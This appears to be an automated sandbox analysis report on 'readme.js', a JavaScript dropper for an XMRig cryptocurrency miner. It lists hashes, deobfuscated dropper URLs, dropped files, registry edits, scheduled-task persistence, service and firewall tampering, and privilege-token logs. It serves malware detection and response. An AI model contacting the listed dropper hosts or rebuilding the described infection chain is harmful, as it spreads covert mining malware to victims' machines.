xmrig | 9cf63310788e97f6e08598309cbbf19960162123e344df017b066ca8fcbed719

Analysis

max time kernel
150s
max time network
148s
platform
windows7_x64
resource
win7v20201028
submitted
18-02-2021 18:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

readme.js
Size

9KB
MD5

e294d6f427c64f77b5b61bb7b17dd12c
SHA1

ccdae3ada854cc441106ec52c12823439bab6cba
SHA256

9cf63310788e97f6e08598309cbbf19960162123e344df017b066ca8fcbed719
SHA512

2c974b0969e4d9b3d1ded364c0a6033e827f0a4890730b9b062c76b690425f8fefc90aa8c9e6dfc599a7909e18a949c6a4b2d4b5dd5787a3bbac0834e70fe82a

Score

10^/10

xmrig evasion miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://t.zz3r0.com

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://t.zer9g.com

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://t.bb3u9.com

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://t.bb3u9.com

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 5 IoCs

miner

Processes:

resource	yara_rule
C:\Windows\TEMP\m6.bin.ori	xmrig
\Windows\Temp\m6.bin.exe	xmrig
C:\Windows\Temp\m6.bin.exe	xmrig
C:\Windows\Temp\m6.bin.exe	xmrig
\Windows\Temp\m6.bin.exe	xmrig

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.EXE

flow	pid	process
6	1180	powershell.exe
18	2628	powershell.EXE
22	2740	powershell.EXE
24	2740	powershell.EXE
38	2644	powershell.EXE
40	2644	powershell.EXE
41	2628	powershell.EXE
42	2628	powershell.EXE

Executes dropped EXE 4 IoCs

Processes:

biJkcCEA.exebiJkcCEA.exebiJkcCEA.exem6.bin.exe

pid process

3068 biJkcCEA.exe
1564 biJkcCEA.exe
2788 biJkcCEA.exe
1776 m6.bin.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
3068	biJkcCEA.exe
1564	biJkcCEA.exe
2788	biJkcCEA.exe
1776	m6.bin.exe

Loads dropped DLL 11 IoCs

Processes:

cmd.exeWerFault.execmd.exetaskmgr.exe

pid	process
1488	cmd.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
3036	cmd.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

47 api.ipify.org
48 api.ipify.org

flow	ioc
47	api.ipify.org
48	api.ipify.org

Drops file in System32 directory 64 IoCs

Processes:

powershell.EXEpowershell.EXEbiJkcCEA.exebiJkcCEA.exepowershell.EXEpowershell.EXEbiJkcCEA.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadbe248-c083-4a79-9d72-f079e632d697	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_321ea8af-0de6-4c9d-bd76-484c8512c028	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f85e173b-52d6-4068-8626-a1834d4344c8	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11bee23b-dca9-446d-8d55-0583d33a8102	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_75287e78-b351-47c9-9710-fd4060b9783e	powershell.EXE
File created	C:\Windows\System32\Windowspowershell\V1.0\biJkcCEA.exe	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11bee23b-dca9-446d-8d55-0583d33a8102	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadbe248-c083-4a79-9d72-f079e632d697	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc680f19-cfc6-4ba8-bb36-6144348b1d62	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_84c00e54-c139-4043-9787-5c89bfd719f4	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b650a3b-43f8-4dbe-bcfa-c2f732a5dbd7	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_15f91d8a-a973-4e13-80c0-c9070d7a2e9f	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_75287e78-b351-47c9-9710-fd4060b9783e	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc680f19-cfc6-4ba8-bb36-6144348b1d62	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_79c2aacf-8393-4f52-b7a6-7a01c51aceb7	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f85e173b-52d6-4068-8626-a1834d4344c8	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e28224f3-d2f8-4dde-be40-718da8c29e31	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_84c00e54-c139-4043-9787-5c89bfd719f4	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00738f41-a64b-4342-bb3a-4603ca81b610	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_874f5106-2e38-489f-a5ef-3e78b7fa0687	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b650a3b-43f8-4dbe-bcfa-c2f732a5dbd7	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadbe248-c083-4a79-9d72-f079e632d697	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc680f19-cfc6-4ba8-bb36-6144348b1d62	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_84c00e54-c139-4043-9787-5c89bfd719f4	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc680f19-cfc6-4ba8-bb36-6144348b1d62	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc680f19-cfc6-4ba8-bb36-6144348b1d62	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f85e173b-52d6-4068-8626-a1834d4344c8	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_84c00e54-c139-4043-9787-5c89bfd719f4	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b650a3b-43f8-4dbe-bcfa-c2f732a5dbd7	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00738f41-a64b-4342-bb3a-4603ca81b610	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_75287e78-b351-47c9-9710-fd4060b9783e	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f85e173b-52d6-4068-8626-a1834d4344c8	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11bee23b-dca9-446d-8d55-0583d33a8102	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00738f41-a64b-4342-bb3a-4603ca81b610	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b650a3b-43f8-4dbe-bcfa-c2f732a5dbd7	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00738f41-a64b-4342-bb3a-4603ca81b610	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11bee23b-dca9-446d-8d55-0583d33a8102	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b650a3b-43f8-4dbe-bcfa-c2f732a5dbd7	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadbe248-c083-4a79-9d72-f079e632d697	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c648cf66-c511-4b80-ae4e-74466b508812	powershell.EXE
File opened for modification	C:\Windows\System32\Windowspowershell\V1.0\biJkcCEA.exe	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1ada7a34-ebaa-466b-9476-a49136c3a364	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_15f91d8a-a973-4e13-80c0-c9070d7a2e9f	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_75287e78-b351-47c9-9710-fd4060b9783e	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadbe248-c083-4a79-9d72-f079e632d697	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_321ea8af-0de6-4c9d-bd76-484c8512c028	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1fd9701d-c1a6-42d1-99eb-aa9cdd73a618	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_15f91d8a-a973-4e13-80c0-c9070d7a2e9f	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00738f41-a64b-4342-bb3a-4603ca81b610	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	biJkcCEA.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadbe248-c083-4a79-9d72-f079e632d697	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_84c00e54-c139-4043-9787-5c89bfd719f4	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11bee23b-dca9-446d-8d55-0583d33a8102	biJkcCEA.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc680f19-cfc6-4ba8-bb36-6144348b1d62	biJkcCEA.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3908 2788 WerFault.exe biJkcCEA.exe
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2072 schtasks.exe
2112 schtasks.exe
2072 schtasks.exe
2584 schtasks.exe
2524 schtasks.exe
2584 schtasks.exe
Gathers network information 2 TTPs 4 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exeNETSTAT.EXENETSTAT.EXEipconfig.exe

pid process

2476 ipconfig.exe
1156 NETSTAT.EXE
3288 NETSTAT.EXE
2128 ipconfig.exe

pid	pid_target	process	target process
3908	2788	WerFault.exe	biJkcCEA.exe

pid	process
2072	schtasks.exe
2112	schtasks.exe
2072	schtasks.exe
2584	schtasks.exe
2524	schtasks.exe
2584	schtasks.exe

pid	process
2476	ipconfig.exe
1156	NETSTAT.EXE
3288	NETSTAT.EXE
2128	ipconfig.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

biJkcCEA.exebiJkcCEA.exepowershell.EXEpowershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	biJkcCEA.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	biJkcCEA.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80da078c2506d701	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	biJkcCEA.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	biJkcCEA.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	biJkcCEA.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	biJkcCEA.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	biJkcCEA.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

896 notepad.exe

pid	process
896	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.EXEbiJkcCEA.exebiJkcCEA.exebiJkcCEA.exepowershell.EXEpowershell.exeWerFault.exe

pid	process
1180	powershell.exe
1180	powershell.exe
2376	powershell.EXE
2376	powershell.EXE
2628	powershell.EXE
2628	powershell.EXE
2740	powershell.EXE
2740	powershell.EXE
3068	biJkcCEA.exe
3068	biJkcCEA.exe
2788	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
2788	biJkcCEA.exe
2644	powershell.EXE
2644	powershell.EXE
2420	powershell.exe
2420	powershell.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
3908	WerFault.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe
1564	biJkcCEA.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeSecurityPrivilege	1564	WMIC.exe
Token: SeTakeOwnershipPrivilege	1564	WMIC.exe
Token: SeLoadDriverPrivilege	1564	WMIC.exe
Token: SeSystemProfilePrivilege	1564	WMIC.exe
Token: SeSystemtimePrivilege	1564	WMIC.exe
Token: SeProfSingleProcessPrivilege	1564	WMIC.exe
Token: SeIncBasePriorityPrivilege	1564	WMIC.exe
Token: SeCreatePagefilePrivilege	1564	WMIC.exe
Token: SeBackupPrivilege	1564	WMIC.exe
Token: SeRestorePrivilege	1564	WMIC.exe
Token: SeShutdownPrivilege	1564	WMIC.exe
Token: SeDebugPrivilege	1564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1564	WMIC.exe
Token: SeRemoteShutdownPrivilege	1564	WMIC.exe
Token: SeUndockPrivilege	1564	WMIC.exe
Token: SeManageVolumePrivilege	1564	WMIC.exe
Token: 33	1564	WMIC.exe
Token: 34	1564	WMIC.exe
Token: 35	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1664	WMIC.exe
Token: SeSecurityPrivilege	1664	WMIC.exe
Token: SeTakeOwnershipPrivilege	1664	WMIC.exe
Token: SeLoadDriverPrivilege	1664	WMIC.exe
Token: SeSystemProfilePrivilege	1664	WMIC.exe
Token: SeSystemtimePrivilege	1664	WMIC.exe
Token: SeProfSingleProcessPrivilege	1664	WMIC.exe
Token: SeIncBasePriorityPrivilege	1664	WMIC.exe
